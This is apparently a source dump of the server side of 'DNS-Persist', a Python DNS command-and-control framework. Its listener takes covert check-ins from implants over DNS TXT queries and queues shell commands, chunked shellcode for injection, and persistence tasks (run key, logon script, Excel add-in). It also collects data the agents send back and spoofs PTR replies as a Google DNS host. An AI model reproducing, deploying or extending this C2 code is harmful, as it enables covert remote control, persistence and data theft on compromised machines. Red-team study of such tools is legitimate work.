69 | sendTask(interactedAgent,"persist")
70 | def do_back(self,s):
71 | interactedAgent = ""
72 | return True
73 | def emptyline(self):
74 | pass
--------------------------------------------------------------------------------
/modules/DNSListener.py:
--------------------------------------------------------------------------------
1 | from dnslib import *
2 | import socket
3 | import time
4 | import threading
5 | import cmd
6 |
7 |
8 | interactedAgent = ""
9 | activeAgents = []
10 | agentCommands = {}
11 |
12 | agentData = {}
13 | agentTimes = {}
14 | agentShellcode = {}
15 |
16 | persistenceMethods = {"runkey":1,"logonscript":2,"exceladdin":3}
17 |
18 |
19 |
20 | def sendTask(agent,command):
21 | agentCommands[agent].append([command,"WAITING"])
22 |
23 | def addShellcode(agent,shellcodefile):
24 | # Error handling sucks will be improved in the future.
25 | try:
26 | f = open(shellcodefile,"r")
27 | shellcode = f.read()
28 | f.close()
29 | if(agentShellcode.has_key(agent)):
30 | print "[+] Replacing shellcode with the new one [+]"
31 | agentShellcode[agent] = "{!%s!}" % shellcode
32 | return True
33 |
34 | except Exception:
35 | print "[-] Shellcode file not found [-]"
36 | return False
37 |
38 |
39 |
40 | def getInteractedAgent():
41 | global interactedAgent
42 | return interactedAgent
43 |
44 | def changeInteractedAgent(agent):
45 | global interactedAgent
46 | interactedAgent = agent
47 |
48 |
49 | class DNSListener(object):
50 |
51 | def __init__(self, host="127.0.0.1",port="53"):
52 |
53 | print "[+] Starting DNS Listener [+]"
54 |
55 | thread = threading.Thread(target=self.start_server, args=())
56 | thread.daemon = True # This will become false
57 | thread.start()
58 |
59 |
60 | self.host = host
61 | self.port = port
62 | self.activeAgents = activeAgents
63 |
64 | def add_agent_times(self,agent):
65 |
66 | if(agentTimes.has_key(agent)):
67 | agentTimes[agent] = time.time()
68 | else:
69 | agentTimes.update({agent:time.time()})
70 |
71 |
72 | def get_agent_shellcode(self,agent):
73 | chunk = 64
74 |
75 | if(agentShellcode.has_key(agent)):
76 | if(len(agentShellcode[agent])>chunk):
77 | data = agentShellcode[agent][:chunk]
78 | agentShellcode[agent] = agentShellcode[agent][chunk:]
79 |
80 | return data
81 | else:
82 | data = agentShellcode[agent]
83 | del agentShellcode[agent]
84 |
85 | return data
86 |
87 | return "!@!"
88 |
89 |
90 |
91 | def get_agent_command(self,agent):
92 | # This code will return the data of the agent
93 | if(agentCommands.has_key(agent)):
94 | number_of_commands = len(agentCommands[agent])
95 | #print "Number of commands : %s" % number_of_commands
96 | if(number_of_commands>0):
97 | for command in agentCommands[agent]:
98 | #print command[1]
99 | if(command[1] == "WAITING"):
100 | command[1] = "DONE"
101 | return "CMD:%s" % (command[0])
102 |
103 | return "There were no commands :)"
104 | else:
105 | return "No agent with this name"
106 |
107 |
108 | def agent_probe(self,agent):
109 | try:
110 | if(agentCommands.has_key(agent)):
111 | if(len(agentCommands[agent]) > 0):
112 | i = 0
113 | for command in agentCommands[agent]:
114 | if(command[1] == "WAITING"):
115 | i = i + 1
116 | if (i == 0):
117 | agentCommands[agent] = []
118 | return "NR:%s" % i
119 |
120 | except Exception,e:
121 | print "Error: %s" % e
122 | pass
123 |
124 | return "There were no commands :("
125 |
126 | def agent_receive_data(self,agent,response_data):
127 | global agentData
128 |
129 | if(not agentData.has_key(agent)):
130 | agentData.update({agent:""})
131 |
132 | # Processing of the data
133 | # Add if it starts with {! and ends with !} is a small value
134 |
135 | if(response_data.decode('hex').startswith("{!")):
136 | agentData[agent] = response_data[4:]
137 | elif(response_data.decode('hex').endswith("!}")):
138 | agentData[agent] += response_data[:-4]
139 | print "\n[+] Data from agent: %s [+]" % agent
140 | print agentData[agent].decode('hex')
141 | agentData[agent] = ""
142 |
143 | else:
144 | agentData[agent] += response_data
145 |
146 |
147 | return "RESP:OK"
148 |
149 |
150 |
151 |
152 | def parse_request_packet(self, agent, packetType, response_data=""):
153 | # This code will have the logic that will make the response
154 | # and decide what to do with the request
155 |
156 | # THIS IS A VERY TERRIBLE IMPLEMENTATION LOL
157 | if(packetType == "PROBE"):
158 | return self.agent_probe(agent)
159 | elif(packetType == "CMD"):
160 | return self.get_agent_command(agent)
161 | elif(packetType == "SHL"):
162 | return self.get_agent_shellcode(agent)
163 | elif(packetType == "DATA" and response_data != ""):
164 | return self.agent_receive_data(agent,response_data)
165 |
166 | return "Agent: %s packet %s" % (agent,packetType)
167 |
168 |
169 | def parse_dns_request(self,data):
170 | # Parse DNS Requests
171 | request = DNSRecord.parse(data)
172 |
173 | qtype = QTYPE[request.q.qtype]
174 |
175 | if(str(qtype) == "PTR"):
176 | return "PTR",0,request
177 |
178 | if((len(request.q.qname.label) <= 1) or (str(qtype) != "TXT")):
179 | #print "[-] Invalid Packet Received [-]"
180 | return 0,0,0
181 | else:
182 | name = request.q.qname.label[0]
183 | domain = request.q.qname.label[1]
184 | return name, domain , request
185 |
186 | def get_dns_response(self,request,data):
187 |
188 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
189 | reply.add_answer(RR(request.q.qname, QTYPE.TXT, rdata=TXT(data)))
190 | return reply.pack()
191 |
192 | def get_dns_ptr_response(self,request):
193 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
194 | reply.add_answer(RR(request.q.qname, QTYPE.PTR, rdata=PTR("google-public-dns-b.google.com")))
195 | return reply.pack()
196 |
197 | def get_dns_data(self,data):
198 | #to be implemented
199 |
200 |
201 | self.data = data
202 | packetType = data.split("-")[1]
203 | agent = data.split("-")[0]
204 |
205 | # Add times for the latest probe.
206 |
207 | self.add_agent_times(agent)
208 |
209 | if(agent not in activeAgents):
210 | activeAgents.append(agent)
211 | print "\n[+] Agent %s called back [+]" % (agent)
212 | if(not agentCommands.has_key(agent)):
213 | agentCommands.update({agent:[]})
214 | # If there is no commands for agent replace them.
215 | if(len(data.split("-")) == 3 and packetType == "DATA"):
216 | response_data = data.split("-")[2]
217 | return self.parse_request_packet(agent,packetType,response_data)
218 | else:
219 | return self.parse_request_packet(agent,packetType)
220 | #return "packet type %s on agent %s" % (packetType, agent)
221 |
222 | def get_active_agents(self):
223 | return activeAgents
224 |
225 | def clear_agents(self):
226 |
227 | # This will clear agents that are in not active for at least 60 seconds
228 | while 1:
229 | time.sleep(5)
230 | for agent in activeAgents:
231 | if(agentTimes.has_key(agent)):
232 | if((time.time() - agentTimes[agent]) > 60):
233 | print "[-] Agent %s is offline [-]" % agent
234 | activeAgents.remove(agent)
235 |
236 | def start_server(self):
237 |
238 | # Create DNS Listener Socket
239 | self.dns_listener = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
240 | self.dns_listener.bind((self.host,self.port))
241 |
242 | # This will clear the active agents and notify when the agent are not online
243 | agentClearThread = threading.Thread(target=self.clear_agents, args=())
244 | agentClearThread.daemon = True
245 | agentClearThread.start()
246 |
247 | while 1:
248 |
249 |
250 | data, address = self.dns_listener.recvfrom(1024)
251 | name, domain, request = self.parse_dns_request(data)
252 | if(name != 0 and domain !=0 and request !=0):
253 | #print name,domain
254 | #print "[+] Sending Response [+]"
255 | data = self.get_dns_data(name)
256 | reply = self.get_dns_response(request,data)
257 | self.dns_listener.sendto(reply,address)
258 |
259 | elif(name == "PTR"):
260 | # Send here PTR response
261 | reply = self.get_dns_ptr_response(request)
262 | self.dns_listener.sendto(reply,address)
263 |
264 |
265 |
266 |
267 |
268 | # This the input part of the CMD lop
269 |
270 |
271 | class Input(cmd.Cmd):
272 |
273 | AGENTS = activeAgents
274 | prompt = "DNS-C2 #> "
275 | def do_agents(self,s):
276 | self.list_agents()
277 | def do_interact(self,agent):
278 | self.AGENTS = activeAgents
279 | if(agent in self.AGENTS):
280 | print "[+] Interacting with : " + agent + " [+]"
281 | changeInteractedAgent(agent)
282 | agentInteraction = AgentCMD()
283 | agentInteraction.prompt = self.prompt + "(" + agent + "): "
284 | agentInteraction.cmdloop()
285 | else:
286 | print "[-] Agent not valid [-]"
287 |
288 | def complete_interact(self, text, line, begidx, endidx):
289 | if not text:
290 | completions = self.AGENTS[:]
291 | else:
292 | completions = [ f
293 | for f in self.AGENTS
294 | if f.startswith(text)
295 | ]
296 | return completions
297 | def do_quit(self,s):
298 | exit(0)
299 | def emptyline(self):
300 | pass
301 | def list_agents(self):
302 | if(len(activeAgents)>0):
303 | print "[+] Number of agents : %s [+]" % len(activeAgents)
304 | for agent in activeAgents:
305 | print agent
306 | else:
307 | print "[-] No active agents [-]"
308 |
309 | class AgentCMD(cmd.Cmd):
310 |
311 | # This is the Agent command line .
312 | def do_process_list(self,s):
313 | sendTask(interactedAgent,"PSL")
314 | def do_execute_shellcode(self,shellcodefile):
315 | if(addShellcode(interactedAgent,shellcodefile)):
316 | sendTask(interactedAgent,"INJ")
317 | def do_sysinfo(self,s):
318 | sendTask(interactedAgent,"SYS")
319 | def do_persist(self,s):
320 | if(persistenceMethods.has_key(s)):
321 | sendTask(interactedAgent,"PRT-%s" % persistenceMethods[s])
322 | else:
323 | print "\n[-] Invalid persistence method [-]"
324 | print "\nPersistence methods: "
325 | for key,value in persistenceMethods.iteritems():
326 | print "-> persist %s" % (key)
327 | print "\n"
328 | def do_shell(self,s):
329 | agent_shell = AgentShell()
330 | agent_shell.prompt = "SHELL #>(%s) " % interactedAgent
331 | agent_shell.cmdloop()
332 |
333 | def do_back(self,s):
334 | interactedAgent = ""
335 | return True
336 | def emptyline(self):
337 | pass
338 |
339 | class AgentShell(cmd.Cmd):
340 |
341 | def emptyline(self):
342 | pass
343 |
344 | def onecmd(self,s):
345 | if(s == "exit" or s == "quit" or s == "back"):
346 | return True
347 | elif(s is None or s == ""):
348 | pass
349 | else:
350 | sendTask(interactedAgent, "ECM-%s" % s)
351 |
352 |
--------------------------------------------------------------------------------
/modules/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/modules/__init__.py
--------------------------------------------------------------------------------
/server.py:
--------------------------------------------------------------------------------
1 | from modules import DNSListener
2 | from modules import AgentControllerCLI
3 | import threading
4 |
5 |
6 |
7 | banner = """
8 | ____ _ _______ ____ _ __
9 | / __ \/ | / / ___/ / __ \___ __________(_)____/ /_
10 | / / / / |/ /\__ \______/ /_/ / _ \/ ___/ ___/ / ___/ __/
11 | / /_/ / /| /___/ /_____/ ____/ __/ / (__ ) (__ ) /_
12 | /_____/_/ |_//____/ /_/ \___/_/ /____/_/____/\__/
13 |
14 | """
15 | host = "0.0.0.0"
16 | port = 53
17 |
18 | print banner
19 |
20 |
21 | DNSObject = DNSListener.DNSListener(host,port)
22 | commandInputs = DNSListener.Input().cmdloop()
--------------------------------------------------------------------------------